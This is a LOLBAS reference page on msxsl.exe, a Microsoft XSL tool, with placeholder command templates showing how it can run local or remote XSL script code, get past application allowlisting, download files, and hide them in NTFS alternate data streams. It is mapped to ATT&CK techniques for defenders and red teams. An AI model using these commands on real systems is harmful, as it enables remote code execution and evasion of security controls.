LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

msxsl.exe

View source

Command line utility used to perform XSL transformations.

ExecuteAWL BypassDownloadADS
06COMMAND EXAMPLES
03ATT&CK TECHNIQUES
04DETECTION RESOURCES
04CAPABILITIES
01 / TRADECRAFT

Command reference

6 examples

Execute2

EXAMPLE 01T1220

Run COM Scriptlet code within the script.xsl file (local).

COMMAND
msxsl.exe {PATH:.xml} {PATH:.xsl}
USE CASE
Local execution of script stored in XSL file.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · XSL
EXAMPLE 02T1220

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

COMMAND
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}
USE CASE
Local execution of remote script stored in XSL script stored as an XML file.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · XSLExecute · Remote

AWL Bypass2

EXAMPLE 01T1220

Run COM Scriptlet code within the script.xsl file (local).

COMMAND
msxsl.exe {PATH:.xml} {PATH:.xsl}
USE CASE
Local execution of script stored in XSL file.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · XSL
EXAMPLE 02T1220

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

COMMAND
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}
USE CASE
Local execution of remote script stored in XSL script stored as an XML file.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · XSLExecute · Remote

Download1

EXAMPLE 01T1105

Using remote XML and XSL files, save the transformed XML file to disk.

COMMAND
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}
USE CASE
Download a file from the internet and save it to disk.
PRIVILEGES
User
OPERATING SYSTEM
Windows

ADS1

EXAMPLE 01T1564

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

COMMAND
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name
USE CASE
Download a file from the internet and save it to an NTFS Alternate Data Stream.
PRIVILEGES
User
OPERATING SYSTEM
Windows
02 / ON DISK

Known paths

no default
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

4 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee
Ronnie Salomonsen@r0ns3n